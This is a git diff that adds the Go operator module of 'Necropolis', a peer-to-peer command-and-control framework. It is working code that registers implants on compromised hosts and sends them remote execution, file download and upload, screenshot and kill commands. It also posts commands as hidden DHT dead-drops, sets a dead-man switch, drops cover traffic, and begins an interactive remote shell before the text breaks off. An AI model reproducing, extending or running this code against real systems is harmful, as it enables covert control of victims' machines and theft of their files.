Necropolis v1 release
This commit is contained in:
@@ -0,0 +1,925 @@
|
||||
// Operator represents the C2 operator node. Handles implant registration, command
|
||||
// dispatch, beacon monitoring, and DHT dead-drop publishing.
|
||||
package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/libp2p/go-libp2p"
|
||||
"github.com/libp2p/go-libp2p/core/crypto"
|
||||
"github.com/libp2p/go-libp2p/core/network"
|
||||
"github.com/libp2p/go-libp2p/core/peer"
|
||||
tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp"
|
||||
ws "github.com/libp2p/go-libp2p/p2p/transport/websocket"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"golang.org/x/term"
|
||||
|
||||
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
|
||||
"github.com/Yenn503/NecropolisC2/pkg/transport"
|
||||
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
|
||||
)
|
||||
|
||||
// ImplantRecord holds the registration state and metadata for one implant.
|
||||
type ImplantRecord struct {
|
||||
Name string
|
||||
Hostname string
|
||||
UUID string
|
||||
Username string
|
||||
UID string
|
||||
GID string
|
||||
OS string
|
||||
Arch string
|
||||
PID int32
|
||||
PeerID string
|
||||
Version string
|
||||
ActiveC2 string
|
||||
Locale string
|
||||
LastCheckin time.Time
|
||||
Interval time.Duration
|
||||
Jitter time.Duration
|
||||
PublicKey crypto.PubKey
|
||||
Disconnected bool
|
||||
IsRelay bool
|
||||
BoxPubKey *[32]byte
|
||||
}
|
||||
|
||||
// Operator owns the operator's identity, network node, known implants, and SOCKS proxies.
|
||||
type Operator struct {
|
||||
keys *cryptography.OperatorKey
|
||||
node *transport.Node
|
||||
messenger *transport.Messenger
|
||||
implants map[string]*ImplantRecord
|
||||
mu sync.RWMutex
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
socksProxies map[int]*SocksInstance
|
||||
socksMu sync.Mutex
|
||||
cmdNonce int64
|
||||
SelectedPID string
|
||||
// lastCmdTime throttles per-implant command dispatch to 10/sec.
|
||||
lastCmdTime map[string]time.Time
|
||||
cmdMu sync.Mutex
|
||||
}
|
||||
|
||||
// NewOperator creates a libp2p host, configures relay/DHT, and wires up the messenger.
|
||||
func NewOperator(ctx context.Context, keys *cryptography.OperatorKey, relayAddrs []string) (*Operator, error) {
|
||||
ctx, cancel := context.WithCancel(ctx)
|
||||
|
||||
nodeCfg := transport.NodeConfig{
|
||||
ListenAddr: "/ip4/0.0.0.0/tcp/8443/ws",
|
||||
BootstrapPeers: transport.DefaultBootstrapAddrs(),
|
||||
EnableRelay: true,
|
||||
EnableRelayService: true,
|
||||
EnableMDNS: false,
|
||||
EnableDHT: true,
|
||||
RelayAddrs: relayAddrs,
|
||||
PrivateKey: keys.PrivateKey,
|
||||
}
|
||||
|
||||
node, err := transport.NewNode(ctx, nodeCfg,
|
||||
libp2p.NoTransports,
|
||||
libp2p.Transport(ws.New),
|
||||
libp2p.Transport(tcp.NewTCPTransport),
|
||||
)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return nil, fmt.Errorf("create node: %w", err)
|
||||
}
|
||||
|
||||
o := &Operator{
|
||||
keys: keys,
|
||||
node: node,
|
||||
implants: make(map[string]*ImplantRecord),
|
||||
socksProxies: make(map[int]*SocksInstance),
|
||||
lastCmdTime: make(map[string]time.Time),
|
||||
ctx: ctx,
|
||||
cancel: cancel,
|
||||
}
|
||||
|
||||
o.messenger = transport.NewOperatorMessenger(ctx, node, keys)
|
||||
o.messenger.SetOperatorID(keys.PeerID)
|
||||
o.messenger.SetAuthToken(keys.AuthToken)
|
||||
o.messenger.SetHandler(o.handleMessage)
|
||||
|
||||
return o, nil
|
||||
}
|
||||
|
||||
// SetSelected sets the peer ID whose results print to stdout.
|
||||
func (o *Operator) SetSelected(pid string) { o.SelectedPID = pid }
|
||||
|
||||
// senderID extracts the libp2p peer ID from an envelope's embedded public key.
|
||||
func (o *Operator) senderID(env *apb.Envelope) string {
|
||||
pubKey, err := transport.PubKeyFromEnvelope(env)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
id, err := peer.IDFromPublicKey(pubKey)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return id.String()
|
||||
}
|
||||
|
||||
// resultf prints to stdout if from the selected implant, otherwise logs quietly.
|
||||
func (o *Operator) resultf(env *apb.Envelope, format string, args ...interface{}) {
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
sid := o.senderID(env)
|
||||
if sid != "" && sid == o.SelectedPID {
|
||||
fmt.Println(msg)
|
||||
} else {
|
||||
log.Printf(msg + " [from " + sid[:12] + "]")
|
||||
}
|
||||
}
|
||||
|
||||
// Start launches DHT advertising, beacon listener, relay discovery, and the disconnect
|
||||
// watchdog. Returns after setting up all background goroutines.
|
||||
func (o *Operator) Start() error {
|
||||
log.Printf("[operator] PeerID: %s", o.node.ID().String())
|
||||
log.Printf("[operator] Command topic: %s", o.messenger.CommandTopic())
|
||||
log.Printf("[operator] Beacon topic: %s", o.messenger.BeaconTopic())
|
||||
for _, addr := range o.node.Addrs() {
|
||||
log.Printf("[operator] listening on: %s/p2p/%s", addr, o.node.ID().String())
|
||||
}
|
||||
|
||||
o.node.SetStreamHandler(transport.BeaconProtocolID, o.handleBeaconStream)
|
||||
|
||||
if err := o.node.StartDiscovery(); err != nil {
|
||||
return fmt.Errorf("discovery: %w", err)
|
||||
}
|
||||
|
||||
ns := o.messenger.RendezvousString()
|
||||
if o.node.DHT != nil {
|
||||
go func() {
|
||||
for o.node.DHT.RoutingTable().Size() == 0 {
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(2 * time.Second):
|
||||
}
|
||||
}
|
||||
for o.node.Advertise(o.ctx, ns) != nil {
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(10 * time.Second):
|
||||
}
|
||||
}
|
||||
for {
|
||||
o.node.Advertise(o.ctx, ns)
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(30 * time.Second):
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
relayNS := o.node.RelayRendezvousString(o.keys.PeerID)
|
||||
go o.advertiseRelayLoop(relayNS)
|
||||
go o.discoverRelayPeersLoop(relayNS)
|
||||
}
|
||||
|
||||
if err := o.messenger.ListenBeacons(o.ctx); err != nil {
|
||||
return fmt.Errorf("listen beacons: %w", err)
|
||||
}
|
||||
|
||||
go o.disconnectCheckLoop()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// disconnectCheckLoop periodically marks implants disconnected if they miss beacon deadlines.
|
||||
func (o *Operator) disconnectCheckLoop() {
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ticker.C:
|
||||
o.mu.Lock()
|
||||
now := time.Now()
|
||||
for id, rec := range o.implants {
|
||||
if rec.Disconnected {
|
||||
continue
|
||||
}
|
||||
timeout := rec.Interval + rec.Jitter + 30*time.Second
|
||||
if now.Sub(rec.LastCheckin) > timeout {
|
||||
rec.Disconnected = true
|
||||
o.implants[id] = rec
|
||||
log.Printf("[operator] implant DISCONNECTED: %s@%s peer=%s (no beacon for %v)",
|
||||
rec.Name, rec.Hostname, id, now.Sub(rec.LastCheckin).Round(time.Second))
|
||||
}
|
||||
}
|
||||
o.mu.Unlock()
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// advertiseRelayLoop periodically advertises this node as a relay in the DHT.
|
||||
func (o *Operator) advertiseRelayLoop(ns string) {
|
||||
if !o.node.WaitForDHT(o.ctx) {
|
||||
return
|
||||
}
|
||||
for {
|
||||
if o.node.DHT == nil {
|
||||
return
|
||||
}
|
||||
if err := o.node.AdvertiseRelay(o.ctx, ns); err != nil {
|
||||
log.Printf("[operator] relay advertise: %v", err)
|
||||
}
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(60 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// discoverRelayPeersLoop finds relay peers in the DHT and connects to them.
|
||||
func (o *Operator) discoverRelayPeersLoop(ns string) {
|
||||
if !o.node.WaitForDHT(o.ctx) {
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
peers, err := o.node.FindRelayPeers(o.ctx, ns, 32)
|
||||
if err != nil {
|
||||
log.Printf("[operator] find relay peers: %v", err)
|
||||
goto sleep
|
||||
}
|
||||
for _, pi := range peers {
|
||||
if pi.ID == o.node.ID() {
|
||||
continue
|
||||
}
|
||||
cs := o.node.Host.Network().Connectedness(pi.ID)
|
||||
if cs == network.Connected || cs == network.Limited {
|
||||
continue
|
||||
}
|
||||
connCtx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
|
||||
if err := o.node.ConnectToPeer(connCtx, pi); err == nil {
|
||||
log.Printf("[operator] connected to relay peer %s", pi.ID.String())
|
||||
}
|
||||
cancel()
|
||||
}
|
||||
sleep:
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(60 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// handleMessage decrypts (if box keys exist) and dispatches an incoming envelope to the
|
||||
// correct result handler.
|
||||
func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
|
||||
if len(env.Data) > 0 && o.keys.BoxKeys != nil {
|
||||
decrypted, err := cryptography.DecryptMessage(env.Data, o.keys.BoxKeys)
|
||||
if err == nil {
|
||||
env.Data = decrypted
|
||||
}
|
||||
}
|
||||
|
||||
switch env.Type {
|
||||
case transport.MsgTypeRegister:
|
||||
o.handleBeaconRegister(env)
|
||||
case transport.MsgTypeCover:
|
||||
// cover traffic silently dropped
|
||||
case transport.MsgTypePs:
|
||||
o.handlePsResult(env)
|
||||
case transport.MsgTypeLs:
|
||||
o.handleLsResult(env)
|
||||
case transport.MsgTypeExecute:
|
||||
o.handleExecuteResult(env)
|
||||
case transport.MsgTypeCd:
|
||||
o.handleCdResult(env)
|
||||
case transport.MsgTypePwd:
|
||||
o.handlePwdResult(env)
|
||||
case transport.MsgTypeDownload:
|
||||
o.handleDownloadResult(env)
|
||||
case transport.MsgTypeUpload:
|
||||
o.handleUploadResult(env)
|
||||
case transport.MsgTypeScreenshot:
|
||||
o.handleScreenshotResult(env)
|
||||
case transport.MsgTypeKill:
|
||||
o.handleKillResult(env)
|
||||
default:
|
||||
log.Printf("[operator] received message type=%d", env.Type)
|
||||
}
|
||||
}
|
||||
|
||||
// handleBeaconStream reads length-prefixed envelopes from a persistent beacon stream,
|
||||
// verifies signatures, and dispatches them through handleMessage.
|
||||
func (o *Operator) handleBeaconStream(s network.Stream) {
|
||||
defer s.Close()
|
||||
remotePeer := s.Conn().RemotePeer()
|
||||
for {
|
||||
var msgLen uint32
|
||||
if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil {
|
||||
errStr := err.Error()
|
||||
if errStr != "EOF" && !strings.Contains(errStr, "reset") && !strings.Contains(errStr, "closed") {
|
||||
log.Printf("[operator] beacon stream read len: %v", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
if msgLen > 1<<20 {
|
||||
log.Printf("[operator] beacon stream message too large: %d", msgLen)
|
||||
return
|
||||
}
|
||||
data := make([]byte, msgLen)
|
||||
if _, err := io.ReadFull(s, data); err != nil {
|
||||
log.Printf("[operator] beacon stream read data: %v", err)
|
||||
return
|
||||
}
|
||||
env := &apb.Envelope{}
|
||||
if err := proto.Unmarshal(data, env); err != nil {
|
||||
log.Printf("[operator] beacon stream unmarshal: %v", err)
|
||||
continue
|
||||
}
|
||||
var pubKey crypto.PubKey
|
||||
if len(env.SenderKey) > 0 {
|
||||
pubKey, _ = transport.PubKeyFromEnvelope(env)
|
||||
senderID, err := peer.IDFromPublicKey(pubKey)
|
||||
if err != nil || senderID != remotePeer {
|
||||
log.Printf("[operator] beacon stream sender mismatch")
|
||||
continue
|
||||
}
|
||||
}
|
||||
if err := transport.VerifyEnvelope(env, pubKey); err != nil {
|
||||
log.Printf("[operator] beacon stream invalid signature: %v", err)
|
||||
continue
|
||||
}
|
||||
o.handleMessage(o.ctx, env, pubKey)
|
||||
}
|
||||
}
|
||||
|
||||
// handleBeaconRegister processes an implant registration beacon, updating or creating the
|
||||
// implant record and recording the implant's public key for signature verification.
|
||||
func (o *Operator) handleBeaconRegister(env *apb.Envelope) {
|
||||
if o.messenger.IsReplay(env.ID) {
|
||||
log.Printf("[operator] dropped replay beacon id=%d", env.ID)
|
||||
return
|
||||
}
|
||||
|
||||
beaconReg := &apb.Z1{}
|
||||
if err := proto.Unmarshal(env.Data, beaconReg); err != nil {
|
||||
log.Printf("[operator] unmarshal beacon register: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
reg := beaconReg.Register
|
||||
if reg == nil {
|
||||
log.Printf("[operator] beacon register missing Register field")
|
||||
return
|
||||
}
|
||||
|
||||
pubKey, err := transport.PubKeyFromEnvelope(env)
|
||||
if err != nil {
|
||||
log.Printf("[operator] get sender key from envelope: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
peerID, err := peer.IDFromPublicKey(pubKey)
|
||||
if err != nil {
|
||||
log.Printf("[operator] peer id from sender key: %v", err)
|
||||
return
|
||||
}
|
||||
peerIDStr := peerID.String()
|
||||
|
||||
var boxPubKey *[32]byte
|
||||
if len(reg.BoxPubKey) == 32 {
|
||||
var key [32]byte
|
||||
copy(key[:], reg.BoxPubKey)
|
||||
boxPubKey = &key
|
||||
}
|
||||
|
||||
rec := &ImplantRecord{
|
||||
Name: reg.Name,
|
||||
Hostname: reg.Hostname,
|
||||
UUID: reg.UUID,
|
||||
Username: reg.Username,
|
||||
UID: reg.UID,
|
||||
GID: reg.GID,
|
||||
OS: reg.OS,
|
||||
Arch: reg.Arch,
|
||||
PID: reg.PID,
|
||||
PeerID: peerIDStr,
|
||||
Version: reg.Version,
|
||||
ActiveC2: reg.ActiveC2,
|
||||
Locale: reg.Locale,
|
||||
LastCheckin: time.Now(),
|
||||
Interval: time.Duration(beaconReg.Interval) * time.Second,
|
||||
Jitter: time.Duration(beaconReg.Jitter) * time.Second,
|
||||
PublicKey: pubKey,
|
||||
BoxPubKey: boxPubKey,
|
||||
}
|
||||
|
||||
o.mu.Lock()
|
||||
if existing, ok := o.implants[peerIDStr]; ok {
|
||||
existing.LastCheckin = time.Now()
|
||||
existing.Disconnected = false
|
||||
existing.Hostname = reg.Hostname
|
||||
existing.Username = reg.Username
|
||||
existing.OS = reg.OS
|
||||
existing.Arch = reg.Arch
|
||||
existing.IsRelay = true
|
||||
existing.BoxPubKey = boxPubKey
|
||||
} else {
|
||||
rec.IsRelay = true
|
||||
o.implants[peerIDStr] = rec
|
||||
log.Printf("[operator] new implant registered: %s@%s [%s/%s] peer=%s",
|
||||
reg.Name, reg.Hostname, reg.OS, reg.Arch, peerIDStr)
|
||||
}
|
||||
o.mu.Unlock()
|
||||
|
||||
o.messenger.AddKnownImplant(peerIDStr, pubKey)
|
||||
}
|
||||
|
||||
// ListImplants returns all registered implant records sorted by peer ID.
|
||||
func (o *Operator) ListImplants() []*ImplantRecord {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
|
||||
ids := make([]string, 0, len(o.implants))
|
||||
for id := range o.implants {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
sort.Strings(ids)
|
||||
|
||||
out := make([]*ImplantRecord, 0, len(o.implants))
|
||||
for _, id := range ids {
|
||||
out = append(out, o.implants[id])
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// GetImplant looks up a single implant record by peer ID.
|
||||
func (o *Operator) GetImplant(peerID string) *ImplantRecord {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.implants[peerID]
|
||||
}
|
||||
|
||||
// sendCommandToImplant packs a protobuf message into a signed envelope, opens a direct
|
||||
// command stream to the implant, and publishes the envelope as a DHT dead-drop.
|
||||
func (o *Operator) sendCommandToImplant(implantPeerID string, msgType uint32, msg proto.Message) error {
|
||||
o.cmdMu.Lock()
|
||||
if last, ok := o.lastCmdTime[implantPeerID]; ok {
|
||||
if time.Since(last) < 100*time.Millisecond {
|
||||
o.cmdMu.Unlock()
|
||||
return fmt.Errorf("rate limited — wait before sending another command")
|
||||
}
|
||||
}
|
||||
o.lastCmdTime[implantPeerID] = time.Now()
|
||||
o.cmdMu.Unlock()
|
||||
|
||||
pid, err := peer.Decode(implantPeerID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
|
||||
}
|
||||
|
||||
data, err := proto.Marshal(msg)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal: %w", err)
|
||||
}
|
||||
|
||||
env := o.messenger.CreateEnvelope(msgType, data)
|
||||
|
||||
rec := o.GetImplant(implantPeerID)
|
||||
if rec != nil && rec.BoxPubKey != nil {
|
||||
encrypted, err := cryptography.EncryptMessage(env.Data, rec.BoxPubKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encrypt command: %w", err)
|
||||
}
|
||||
env.Data = encrypted
|
||||
}
|
||||
|
||||
pubBytes, err := crypto.MarshalPublicKey(o.keys.PrivateKey.GetPublic())
|
||||
if err == nil {
|
||||
env.SenderKey = pubBytes
|
||||
}
|
||||
|
||||
signingData, err := transport.EnvelopeSigningBytes(env)
|
||||
if err != nil {
|
||||
return fmt.Errorf("signing bytes: %w", err)
|
||||
}
|
||||
sig, err := o.keys.PrivateKey.Sign(signingData)
|
||||
if err != nil {
|
||||
return fmt.Errorf("sign: %w", err)
|
||||
}
|
||||
env.Signature = sig
|
||||
|
||||
ctx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
|
||||
defer cancel()
|
||||
ctx = network.WithAllowLimitedConn(ctx, "command")
|
||||
|
||||
s, err := o.node.NewStream(ctx, pid, transport.CmdProtocolID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open command stream: %w", err)
|
||||
}
|
||||
defer s.Close()
|
||||
|
||||
envData, err := proto.Marshal(env)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal envelope: %w", err)
|
||||
}
|
||||
|
||||
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
|
||||
return fmt.Errorf("write len: %w", err)
|
||||
}
|
||||
if _, err := s.Write(envData); err != nil {
|
||||
return fmt.Errorf("write data: %w", err)
|
||||
}
|
||||
|
||||
// DHT dead-drop — implants unable to reach operator via direct stream or
|
||||
// relay can poll the DHT for signed command envelopes. Best-effort, no retry, no ACK.
|
||||
o.cmdNonce++
|
||||
dhtKey := transport.CommandDHTKey(o.keys.PeerID, o.cmdNonce)
|
||||
go func() {
|
||||
_ = o.node.PutDHTValue(o.ctx, dhtKey, envData) // best-effort, silent
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Ps sends a process listing command to the given implant.
|
||||
func (o *Operator) Ps(implantPeerID string) error {
|
||||
req := &apb.Z12{}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypePs, req)
|
||||
}
|
||||
|
||||
// Ls sends a directory listing command to the given implant.
|
||||
func (o *Operator) Ls(implantPeerID string, path string) error {
|
||||
req := &apb.Z16{Path: path}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeLs, req)
|
||||
}
|
||||
|
||||
// Execute sends a command execution request to the given implant.
|
||||
func (o *Operator) Execute(implantPeerID string, cmd string, args []string) error {
|
||||
req := &apb.Z14{
|
||||
Path: cmd,
|
||||
Args: args,
|
||||
Output: true,
|
||||
}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeExecute, req)
|
||||
}
|
||||
|
||||
// DeadMan sends a dead man switch configuration to the implant — a command that fires
|
||||
// automatically if the implant loses contact with the operator.
|
||||
func (o *Operator) DeadMan(implantPeerID string, command string, timeoutSeconds int) error {
|
||||
payload := fmt.Sprintf(`{"command":"%s","timeout_seconds":%d}`, command, timeoutSeconds)
|
||||
env := o.messenger.CreateEnvelope(transport.MsgTypeDeadMan, []byte(payload))
|
||||
|
||||
pubBytes, err := crypto.MarshalPublicKey(o.keys.PrivateKey.GetPublic())
|
||||
if err == nil {
|
||||
env.SenderKey = pubBytes
|
||||
}
|
||||
|
||||
signingData, err := transport.EnvelopeSigningBytes(env)
|
||||
if err != nil {
|
||||
return fmt.Errorf("signing bytes: %w", err)
|
||||
}
|
||||
sig, err := o.keys.PrivateKey.Sign(signingData)
|
||||
if err != nil {
|
||||
return fmt.Errorf("sign: %w", err)
|
||||
}
|
||||
env.Signature = sig
|
||||
|
||||
pid, err := peer.Decode(implantPeerID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decode peer id: %w", err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(o.ctx, 10*time.Second)
|
||||
defer cancel()
|
||||
|
||||
s, err := o.node.NewStream(ctx, pid, transport.CmdProtocolID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open command stream: %w", err)
|
||||
}
|
||||
defer s.Close()
|
||||
|
||||
envData, err := proto.Marshal(env)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal envelope: %w", err)
|
||||
}
|
||||
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
|
||||
return fmt.Errorf("write len: %w", err)
|
||||
}
|
||||
_, err = s.Write(envData)
|
||||
return err
|
||||
}
|
||||
|
||||
// handlePsResult prints the process listing returned by an implant.
|
||||
func (o *Operator) handlePsResult(env *apb.Envelope) {
|
||||
result := &apb.Z13{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal ps result: %v", err)
|
||||
return
|
||||
}
|
||||
o.resultf(env, "[ps] %d processes", len(result.Processes))
|
||||
for _, p := range result.Processes {
|
||||
o.resultf(env, " %s (PID: %d)", p.Name, p.Pid)
|
||||
}
|
||||
}
|
||||
|
||||
// handleLsResult prints a directory listing result from an implant.
|
||||
func (o *Operator) handleLsResult(env *apb.Envelope) {
|
||||
result := &apb.Z17{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal ls result: %v", err)
|
||||
return
|
||||
}
|
||||
o.resultf(env, "[ls] %s: %d entries", result.Path, len(result.Files))
|
||||
}
|
||||
|
||||
// handleExecuteResult prints the stdout/stderr returned by an implant command execution.
|
||||
func (o *Operator) handleExecuteResult(env *apb.Envelope) {
|
||||
result := &apb.Z15{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal execute result: %v", err)
|
||||
return
|
||||
}
|
||||
o.resultf(env, "[exec] status=%d stdout=%d stderr=%d", result.Status, len(result.Stdout), len(result.Stderr))
|
||||
if len(result.Stdout) > 0 {
|
||||
o.resultf(env, string(result.Stdout))
|
||||
}
|
||||
if len(result.Stderr) > 0 {
|
||||
o.resultf(env, string(result.Stderr))
|
||||
}
|
||||
}
|
||||
|
||||
// handleCdResult prints the result of a change-directory command on an implant.
|
||||
func (o *Operator) handleCdResult(env *apb.Envelope) {
|
||||
result := &apb.Z21{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal cd result: %v", err)
|
||||
return
|
||||
}
|
||||
if result.Response != nil && result.Response.Err != 0 {
|
||||
o.resultf(env, "cd error: %s", result.Response.ErrMsg)
|
||||
} else {
|
||||
o.resultf(env, "cd: %s", result.Path)
|
||||
}
|
||||
}
|
||||
|
||||
// handlePwdResult prints the current working directory returned by an implant.
|
||||
func (o *Operator) handlePwdResult(env *apb.Envelope) {
|
||||
result := &apb.Z21{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal pwd result: %v", err)
|
||||
return
|
||||
}
|
||||
o.resultf(env, "%s", result.Path)
|
||||
}
|
||||
|
||||
// handleScreenshotResult prints the screenshot byte count or error from an implant.
|
||||
func (o *Operator) handleScreenshotResult(env *apb.Envelope) {
|
||||
result := &apb.Z3{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal screenshot result: %v", err)
|
||||
return
|
||||
}
|
||||
if result.Response != nil && result.Response.Err != 0 {
|
||||
o.resultf(env, "screenshot error: %s", result.Response.ErrMsg)
|
||||
} else {
|
||||
o.resultf(env, "screenshot: %d bytes", len(result.Data))
|
||||
}
|
||||
}
|
||||
|
||||
// handleDownloadResult writes a file downloaded from an implant to the local filesystem.
|
||||
func (o *Operator) handleDownloadResult(env *apb.Envelope) {
|
||||
result := &apb.Z23{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal download result: %v", err)
|
||||
return
|
||||
}
|
||||
if !result.Exists {
|
||||
o.resultf(env, "download: file does not exist")
|
||||
return
|
||||
}
|
||||
if result.Response != nil && result.Response.Err != 0 {
|
||||
o.resultf(env, "download error: %s", result.Response.ErrMsg)
|
||||
return
|
||||
}
|
||||
path := result.Path
|
||||
if path == "" {
|
||||
path = "downloaded"
|
||||
}
|
||||
safePath := filepath.Join("downloads", filepath.Base(path))
|
||||
if err := os.MkdirAll(filepath.Dir(safePath), 0755); err != nil {
|
||||
o.resultf(env, "download: mkdir %s: %v", safePath, err)
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(safePath, result.Data, 0644); err != nil {
|
||||
o.resultf(env, "download: write %s: %v", safePath, err)
|
||||
return
|
||||
}
|
||||
o.resultf(env, "downloaded %s (%d bytes)", safePath, len(result.Data))
|
||||
}
|
||||
|
||||
// handleUploadResult prints the result of a file upload to an implant.
|
||||
func (o *Operator) handleUploadResult(env *apb.Envelope) {
|
||||
result := &apb.Z25{}
|
||||
if err := proto.Unmarshal(env.Data, result); err != nil {
|
||||
log.Printf("[operator] unmarshal upload result: %v", err)
|
||||
return
|
||||
}
|
||||
if result.Response != nil && result.Response.Err != 0 {
|
||||
o.resultf(env, "upload error: %s", result.Response.ErrMsg)
|
||||
return
|
||||
}
|
||||
o.resultf(env, "uploaded %d bytes to %s", result.BytesWritten, result.Path)
|
||||
}
|
||||
|
||||
// handleKillResult confirms that an implant received and acted on the kill command.
|
||||
func (o *Operator) handleKillResult(env *apb.Envelope) {
|
||||
o.resultf(env, "[kill] implant exited")
|
||||
}
|
||||
|
||||
// Cd changes the working directory on the selected implant.
|
||||
func (o *Operator) Cd(implantPeerID string, path string) error {
|
||||
req := &apb.Z19{Path: path}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeCd, req)
|
||||
}
|
||||
|
||||
// Pwd prints the working directory on the selected implant.
|
||||
func (o *Operator) Pwd(implantPeerID string) error {
|
||||
req := &apb.Z20{}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypePwd, req)
|
||||
}
|
||||
|
||||
// Kill sends the terminate command to the selected implant.
|
||||
func (o *Operator) Kill(implantPeerID string) error {
|
||||
req := &apb.Z20{}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeKill, req)
|
||||
}
|
||||
|
||||
// Download requests a file from the implant at the given path.
|
||||
func (o *Operator) Download(implantPeerID string, path string) error {
|
||||
req := &apb.Z22{Path: path}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeDownload, req)
|
||||
}
|
||||
|
||||
// Upload sends a file to the implant at the given path, overwriting if it exists.
|
||||
func (o *Operator) Upload(implantPeerID string, path string, data []byte) error {
|
||||
req := &apb.Z24{
|
||||
Path: path,
|
||||
Data: data,
|
||||
Overwrite: true,
|
||||
}
|
||||
return o.sendCommandToImplant(implantPeerID, transport.MsgTypeUpload, req)
|
||||
}
|
||||
|
||||
// UploadFile reads a local file (≤100MB) and uploads it to the implant.
|
||||
func (o *Operator) UploadFile(implantPeerID string, localPath string, remotePath string) error {
|
||||
fi, err := os.Stat(localPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("stat %s: %w", localPath, err)
|
||||
}
|
||||
if fi.Size() > 100<<20 {
|
||||
return fmt.Errorf("file too large: %d bytes (max 100MB)", fi.Size())
|
||||
}
|
||||
data, err := os.ReadFile(localPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read %s: %w", localPath, err)
|
||||
}
|
||||
return o.Upload(implantPeerID, remotePath, data)
|
||||
}
|
||||
|
||||
type shellEscaper struct {
|
||||
r io.Reader
|
||||
escaped bool
|
||||
}
|
||||
|
||||
func (e *shellEscaper) Read(p []byte) (int, error) {
|
||||
if e.escaped {
|
||||
return 0, fmt.Errorf("shell escape")
|
||||
}
|
||||
n, err := e.r.Read(p)
|
||||
if n > 0 {
|
||||
for i := 0; i < n; i++ {
|
||||
if p[i] == 0x1d { // Ctrl+]
|
||||
e.escaped = true
|
||||
return 0, fmt.Errorf("shell escape")
|
||||
}
|
||||
}
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
|
||||
// OpenShell opens an interactive shell on the implant over a libp2p stream. Terminal
|
||||
// is put in raw mode and stdin/stdout are proxied bidirectionally. Press Ctrl+] to exit.
|
||||
func (o *Operator) OpenShell(implantPeerID string) error {
|
||||
pid, err := peer.Decode(implantPeerID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(o.ctx, 15*time.Second)
|
||||
defer cancel()
|
||||
